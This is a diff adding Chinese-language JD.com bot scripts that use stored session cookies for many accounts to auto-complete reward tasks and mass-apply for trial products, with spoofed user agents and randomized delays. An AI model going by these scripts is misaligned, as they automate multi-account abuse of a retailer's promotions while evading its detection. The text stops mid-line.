console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await twqyj(); + await $.wait(1000) + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function twqyj() { + try { + let tk = await queryInteractiveInfo(); + for (let key of Object.keys(tk.assignmentList).reverse()){ + let vo = tk.assignmentList[key] + if (vo.completionFlag || vo.assignmentType == 30) { + console.log('此任务已完成') + } else if (new Date(vo.assignmentStartTime).getTime() > Date.now()) { + console.log('此任务还没到开放时间:',vo.assignmentStartTime) + } else { + if (vo.ext && vo.ext.extraType == 'sign1'){ + await sign(encryptProjectId,vo.encryptAssignmentId) + } else { + await dotask(encryptProjectId,vo.encryptAssignmentId) + } + } + await $.wait(1000) + } + } catch (e) { + $.logErr(e) + } + +} + +async function queryInteractiveInfo() { + return new Promise(async (resolve) => { + $.post(taskUrl("queryInteractiveInfo", {"encryptProjectId":encryptProjectId,"sourceCode":"acemsg0406"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`queryInteractiveInfo API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} + +async function sign(encryptProjectId, AssignmentId) { + return new Promise(async (resolve) => { + $.post(taskUrl("doInteractiveAssignment", { "encryptProjectId": encryptProjectId, "encryptAssignmentId": AssignmentId, "sourceCode": "acemsg0406", "itemId": "1", "completionFlag": "true" }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`doInteractiveAssignment API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.subCode == 0) { + if (data.rewardsInfo.successRewards['3'] && data.rewardsInfo.successRewards['3'].length != 0) { + console.log(`${data.rewardsInfo.successRewards['3'][0].rewardName},获得${data.rewardsInfo.successRewards['3'][0].quantity}京豆`); + } else if (data.rewardsInfo.failRewards.length != 0) { + console.log(`失败:${data.rewardsInfo.failRewards[0].msg}`); + } + } else { + console.log(data.msg); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} + +async function dotask(encryptProjectId, AssignmentId) { + return new Promise(async (resolve) => { + $.post(taskUrl("doInteractiveAssignment", { "encryptProjectId": encryptProjectId, "encryptAssignmentId": AssignmentId, "sourceCode": "acemsg0406", "completionFlag": true }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`doInteractiveAssignment API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.subCode == '0' && data.rewardsInfo.hasOwnProperty('successRewards') ) { + if (data.rewardsInfo.successRewards['3'] && data.rewardsInfo.successRewards['3'].length != 0) { + console.log(`${data.rewardsInfo.successRewards['3'][0].rewardName},获得${data.rewardsInfo.successRewards['3'][0].quantity}京豆`); +// } else if (data.rewardsInfo.failRewards.length != 0) { +// console.log(`失败:${data.rewardsInfo.failRewards[0].msg}`); + } + } else { + console.log(data.msg); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} + +function taskUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${functionId}&body=${encodeURI(JSON.stringify(body))}&appid=publicUseApi&client=wh5&clientVersion=1.0.0&networkType=&t=${(new Date).getTime()}`, + headers: { + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Origin': 'https://h5.m.jd.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/4HEXbcWBwHW2yxmoY9LnBoCZ9kcB/index.html', + 'Cookie': cookie + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_try.js b/jd_try.js new file mode 100644 index 0000000..414fc22 --- /dev/null +++ b/jd_try.js @@ -0,0 +1,1288 @@ +/* + * 2022-05-27 修复优化版 By https://github.com/6dylan6/jdpro/ + * 如需运行请自行添加环境变量:JD_TRY,值填 true 即可运行 + * X1a0He by 6dylan6/jdpro/ + * 脚本是否耗时只看args_xh.maxLength的大小 + * 上一作者说了每天最多300个商店,总上限为500个,jd_unsubscribe.js我已更新为批量取关版 + * 请提前取关至少250个商店确保京东试用脚本正常运行 + * @Address: https://github.com/X1a0He/jd_scripts_fixed/blob/main/jd_try_xh.js + +如需运行请自行添加环境变量:JD_TRY="true" 即可运行 +脚本是否耗时只看args_xh.maxLength的大小(申请数量),默认50个,申请100个差不多15分钟 +上一作者说每天申请上限300个(自测,没有申请过上限),关注店铺上限500个 +关注店铺满了就无法继续申请,可用批量取关店铺取消关注 + +部分环境变量说明,详细请参考57行往下: +export JD_TRY="true"是否允许,默认false +export JD_TRY_PASSZC="false" #不过滤种草官类试用,默认true过滤 +export JD_TRY_MAXLENGTH="50" #商品数组的最大长度,默认50个 +export JD_TRY_PRICE="XX"#商品原价格,大于XX才申请,默认20 +export JD_TRY_APPLYINTERVAL="6000" #商品试用之间和获取商品之间的间隔ms +export JD_TRY_APPLYNUMFILTER="10000" #过滤大于设定值的已申请人数 +export JD_TRY_MINSUPPLYNUM="1" #最小提供数量 +export JD_TRY_SENDNUM="10" #每隔多少账号发送一次通知,默认为4 +export JD_TRY_UNIFIED="false" 默认采用不同试用组 + +定时自定义,能用多久随缘了!!! + */ +const $ = new Env('京东试用') +const URL = 'https://api.m.jd.com/client.action' +let trialActivityIdList = [] +let trialActivityTitleList = [] +let notifyMsg = '' +let size = 1; +$.isPush = true; +$.isLimit = false; +$.isForbidden = false; +$.wrong = false; +$.giveupNum = 0; +$.successNum = 0; +$.completeNum = 0; +$.getNum = 0; +$.try = true; +$.sentNum = 0; +$.cookiesArr = [] +$.innerKeyWords = + [ + "幼儿园", "教程", "英语", "辅导", "培训", + "孩子", "小学", "成人用品", "套套", "情趣", + "自慰", "阳具", "飞机杯", "男士用品", "女士用品", + "内衣", "高潮", "避孕", "乳腺", "肛塞", "肛门", + "宝宝", "玩具", "芭比", "娃娃", "男用", + "女用", "神油", "足力健", "老年", "老人", + "宠物", "饲料", "丝袜", "黑丝", "磨脚", + "脚皮", "除臭", "性感", "内裤", "跳蛋", + "安全套", "龟头", "阴道", "阴部", "手机卡", "电话卡", "流量卡", + "玉坠","和田玉","习题","试卷","手机壳","钢化膜" + ] +//下面很重要,遇到问题请把下面注释看一遍再来问 +let args_xh = { + /* + * 控制是否输出当前环境变量设置,默认为false + * 环境变量名称:XH_TRY_ENV + */ + env: process.env.XH_TRY_ENV === 'true' || false, + /* + * 跳过某个指定账号,默认为全部账号清空 + * 填写规则:例如当前Cookie1为pt_key=key; pt_pin=pin1;则环境变量填写pin1即可,此时pin1的购物车将不会被清空 + * 若有更多,则按照pin1@pin2@pin3进行填写 + * 环境变量名称:XH_TRY_EXCEPT + */ + except: process.env.XH_TRY_EXCEPT && process.env.XH_TRY_EXCEPT.split('@') || [], + //以上环境变量新增于2022.01.30 + /* + * 每个Tab页要便遍历的申请页数,由于京东试用又改了,获取不到每一个Tab页的总页数了(显示null),所以特定增加一个环境变了以控制申请页数 + * 例如设置 JD_TRY_PRICE 为 30,假如现在正在遍历tab1,那tab1就会被遍历到30页,到31页就会跳到tab2,或下一个预设的tab页继续遍历到30页 + * 默认为20 + */ + totalPages: process.env.JD_TRY_TOTALPAGES * 1 || 20, + /* + * 由于每个账号每次获取的试用产品都不一样,所以为了保证每个账号都能试用到不同的商品,之前的脚本都不支持采用统一试用组的 + * 以下环境变量是用于指定是否采用统一试用组的 + * 例如当 JD_TRY_UNIFIED 为 true时,有3个账号,第一个账号跑脚本的时候,试用组是空的 + * 而当第一个账号跑完试用组后,第二个,第三个账号所采用的试用组默认采用的第一个账号的试用组 + * 优点:减少除第一个账号外的所有账号遍历,以减少每个账号的遍历时间 + * 缺点:A账号能申请的东西,B账号不一定有 + * 提示:想每个账号独立不同的试用产品的,请设置为false,想减少脚本运行时间的,请设置为true + * 默认为false + */ + unified: process.env.JD_TRY_UNIFIED === 'true' || false, + //以上环境变量新增于2022.01.25 + /* + * 商品原价,低于这个价格都不会试用,意思是 + * A商品原价49元,试用价1元,如果下面设置为50,那么A商品不会被加入到待提交的试用组 + * B商品原价99元,试用价0元,如果下面设置为50,那么B商品将会被加入到待提交的试用组 + * C商品原价99元,试用价1元,如果下面设置为50,那么C商品将会被加入到待提交的试用组 + * 默认为0 + * */ + jdPrice: process.env.JD_TRY_PRICE * 1 || 20, + /* + * 获取试用商品类型,默认为1 + * 下面有一个function是可以获取所有tabId的,名为try_tabList + * 可设置环境变量:JD_TRY_TABID,用@进行分隔 + * 默认为 1 到 10 + * */ + tabId: process.env.JD_TRY_TABID && process.env.JD_TRY_TABID.split('@').map(Number) || [200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212], + /* + * 试用商品标题过滤,黑名单,当标题存在关键词时,则不加入试用组 + * 当白名单和黑名单共存时,黑名单会自动失效,优先匹配白名单,匹配完白名单后不会再匹配黑名单,望周知 + * 例如A商品的名称为『旺仔牛奶48瓶特价』,设置了匹配白名单,白名单关键词为『牛奶』,但黑名单关键词存在『旺仔』 + * 这时,A商品还是会被添加到待提交试用组,白名单优先于黑名单 + * 已内置对应的 成人类 幼儿类 宠物 老年人类关键词,请勿重复添加 + * 可设置环境变量:JD_TRY_TITLEFILTERS,关键词与关键词之间用@分隔 + * */ + titleFilters: process.env.JD_TRY_TITLEFILTERS && process.env.JD_TRY_TITLEFILTERS.split('@') || [], + /* + * 试用价格(中了要花多少钱),高于这个价格都不会试用,小于等于才会试用,意思就是 + * A商品原价49元,现在试用价1元,如果下面设置为10,那A商品将会被添加到待提交试用组,因为1 < 10 + * B商品原价49元,现在试用价2元,如果下面设置为1,那B商品将不会被添加到待提交试用组,因为2 > 1 + * C商品原价49元,现在试用价1元,如果下面设置为1,那C商品也会被添加到带提交试用组,因为1 = 1 + * 可设置环境变量:JD_TRY_TRIALPRICE,默认为0 + * */ + trialPrice: process.env.JD_TRY_TRIALPRICE * 1 || 0, + /* + * 最小提供数量,例如试用商品只提供2份试用资格,当前设置为1,则会进行申请 + * 若只提供5分试用资格,当前设置为10,则不会申请 + * 可设置环境变量:JD_TRY_MINSUPPLYNUM + * */ + minSupplyNum: process.env.JD_TRY_MINSUPPLYNUM * 1 || 1, + /* + * 过滤大于设定值的已申请人数,例如下面设置的1000,A商品已经有1001人申请了,则A商品不会进行申请,会被跳过 + * 可设置环境变量:JD_TRY_APPLYNUMFILTER + * */ + applyNumFilter: process.env.JD_TRY_APPLYNUMFILTER * 1 || 100000, + /* + * 商品试用之间和获取商品之间的间隔, 单位:毫秒(1秒=1000毫秒) + * 可设置环境变量:JD_TRY_APPLYINTERVAL + * 默认为3000,也就是3秒 + * */ + applyInterval: process.env.JD_TRY_APPLYINTERVAL * 1 || 30000, + /* + * 商品数组的最大长度,通俗来说就是即将申请的商品队列长度 + * 例如设置为20,当第一次获取后获得12件,过滤后剩下5件,将会进行第二次获取,过滤后加上第一次剩余件数 + * 例如是18件,将会进行第三次获取,直到过滤完毕后为20件才会停止,不建议设置太大 + * 可设置环境变量:JD_TRY_MAXLENGTH + * */ + maxLength: process.env.JD_TRY_MAXLENGTH * 1 || 20, + /* + * 过滤种草官类试用,某些试用商品是专属官专属,考虑到部分账号不是种草官账号 + * 例如A商品是种草官专属试用商品,下面设置为true,而你又不是种草官账号,那A商品将不会被添加到待提交试用组 + * 例如B商品是种草官专属试用商品,下面设置为false,而你是种草官账号,那A商品将会被添加到待提交试用组 + * 例如B商品是种草官专属试用商品,下面设置为true,即使你是种草官账号,A商品也不会被添加到待提交试用组 + * 可设置环境变量:JD_TRY_PASSZC,默认为true + * */ + passZhongCao: process.env.JD_TRY_PASSZC === 'false' || true, + /* + * 是否打印输出到日志,考虑到如果试用组长度过大,例如100以上,如果每个商品检测都打印一遍,日志长度会非常长 + * 打印的优点:清晰知道每个商品为什么会被过滤,哪个商品被添加到了待提交试用组 + * 打印的缺点:会使日志变得很长 + * + * 不打印的优点:简短日志长度 + * 不打印的缺点:无法清晰知道每个商品为什么会被过滤,哪个商品被添加到了待提交试用组 + * 可设置环境变量:JD_TRY_PLOG,默认为true + * */ + printLog: process.env.JD_TRY_PLOG === 'false' || true, + /* + * 白名单,是否打开,如果下面为true,那么黑名单会自动失效 + * 白名单和黑名单无法共存,白名单永远优先于黑名单 + * 可通过环境变量控制:JD_TRY_WHITELIST,默认为false + * */ + whiteList: process.env.JD_TRY_WHITELIST === 'true' || false, + /* + * 白名单关键词,当标题存在关键词时,加入到试用组 + * 例如A商品的名字为『旺仔牛奶48瓶特价』,白名单其中一个关键词是『牛奶』,那么A将会直接被添加到待提交试用组,不再进行另外判断 + * 就算设置了黑名单也不会判断,希望这种写得那么清楚的脑瘫问题就别提issues了 + * 可通过环境变量控制:JD_TRY_WHITELIST,用@分隔 + * */ + whiteListKeywords: process.env.JD_TRY_WHITELISTKEYWORDS && process.env.JD_TRY_WHITELISTKEYWORDS.split('@') || [], + /* + * 每多少个账号发送一次通知,默认为4 + * 可通过环境变量控制 JD_TRY_SENDNUM + * */ + sendNum: process.env.JD_TRY_SENDNUM * 1 || 4, +} +//上面很重要,遇到问题请把上面注释看一遍再来问 +!(async() => { + await $.wait(500) + // 如果你要运行京东试用这个脚本,麻烦你把环境变量 JD_TRY 设置为 true + if (1) { + await requireConfig() + if (!$.cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }) + return + } + args_xh.tabId = args_xh.tabId.sort(() => 0.5 - Math.random()) + for (let i = 0; i < $.cookiesArr.length; i++) { + if ($.cookiesArr[i]) { + $.cookie = $.cookiesArr[i]; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=(.+?);/) && $.cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + //await totalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + $.except = false; + if(args_xh.except.includes($.UserName)){ + console.log(`跳过账号:${$.nickName || $.UserName}`) + $.except = true; + continue + } + if(!$.isLogin){ + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + await $.notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + continue + } + $.totalTry = 0 + $.totalSuccess = 0 + $.nowTabIdIndex = 0; + $.nowPage = 1; + $.nowItem = 1; + $.retrynum = 0 + $.jda='__jda='+_jda('1xxxxxxxx.164xxxxxxxxxxxxxxxxxxx.164xxxxxxx.165xxxxxx.165xxxxxx.1xx') + if (!args_xh.unified) { + trialActivityIdList = [] + trialActivityTitleList = [] + } + $.isLimit = false; + // 获取tabList的,不知道有哪些的把这里的注释解开跑一遍就行了 + //await try_tabList(); + // return; + $.isForbidden = false + $.wrong = false + size = 1 + + while(trialActivityIdList.length < args_xh.maxLength && $.retrynum < 3){ + if($.nowTabIdIndex === args_xh.tabId.length){ + console.log(`tabId组已遍历完毕,不在获取商品\n`); + break; + } else { + await try_feedsList(args_xh.tabId[$.nowTabIdIndex], $.nowPage) //获取对应tabId的试用页面 + } + if(trialActivityIdList.length < args_xh.maxLength){ + console.log(`间隔等待中,请等待 3 秒\n`) + await $.wait(3000); + } + } + if ($.isForbidden === false && $.isLimit === false) { + console.log(`稍后将执行试用申请,请等待 2 秒\n`) + await $.wait(2000); + for(let i = 0; i < trialActivityIdList.length && $.isLimit === false; i++){ + if($.isLimit){ + console.log("试用上限") + break + } + await try_apply(trialActivityTitleList[i], trialActivityIdList[i]) + //console.log(`间隔等待中,请等待 ${args_xh.applyInterval} ms\n`) + const waitTime = generateRandomInteger(args_xh.applyInterval, 30000); + console.log(`随机等待${waitTime}ms后继续`); + await $.wait(waitTime); + } + console.log("试用申请执行完毕...") + // await try_MyTrials(1, 1) //申请中的商品 + $.giveupNum = 0; + $.successNum = 0; + $.getNum = 0; + $.completeNum = 0; + await try_MyTrials(1, 2) //申请成功的商品 + // await try_MyTrials(1, 3) //申请失败的商品 + await showMsg() + } + } + if($.isNode()){ + if($.index % args_xh.sendNum === 0){ + $.sentNum++; + console.log(`正在进行第 ${$.sentNum} 次发送通知,发送数量:${args_xh.sendNum}`) + await $.notify.sendNotify(`${$.name}`, `${notifyMsg}`) + notifyMsg = ""; + } + } + } + if($.isNode() && $.except === false){ + if(($.cookiesArr.length - ($.sentNum * args_xh.sendNum)) < args_xh.sendNum && notifyMsg.length != 0) { + console.log(`正在进行最后一次发送通知,发送数量:${($.cookiesArr.length - ($.sentNum * args_xh.sendNum))}`) + await $.notify.sendNotify(`${$.name}`, `${notifyMsg}`) + notifyMsg = ""; + } + } + } else { + console.log(`\n您未设置变量export JD_TRY="true"运行【京东试用】脚本, 结束运行!\n`) + } +})().catch((e) => { + console.error(`❗️ ${$.name} 运行错误!\n${e}`) +}).finally(() => $.done()) + +function requireConfig() { + return new Promise(resolve => { + console.log('开始获取配置文件\n') + $.notify = $.isNode() ? require('./sendNotify') : { sendNotify: async () => { } } + //获取 Cookies + $.cookiesArr = [] + if ($.isNode()) { + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = require('./jdCookie.js'); + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) $.cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + } else { + //IOS等用户直接用NobyDa的jd $.cookie + $.cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + for(let keyWord of $.innerKeyWords) args_xh.titleFilters.push(keyWord) + console.log(`共${$.cookiesArr.length}个京东账号\n`) + if(args_xh.env){ + console.log('=====环境变量配置如下=====') + console.log(`env: ${typeof args_xh.env}, ${args_xh.env}`) + console.log(`except: ${typeof args_xh.except}, ${args_xh.except}`) + console.log(`totalPages: ${typeof args_xh.totalPages}, ${args_xh.totalPages}`) + console.log(`unified: ${typeof args_xh.unified}, ${args_xh.unified}`) + console.log(`jdPrice: ${typeof 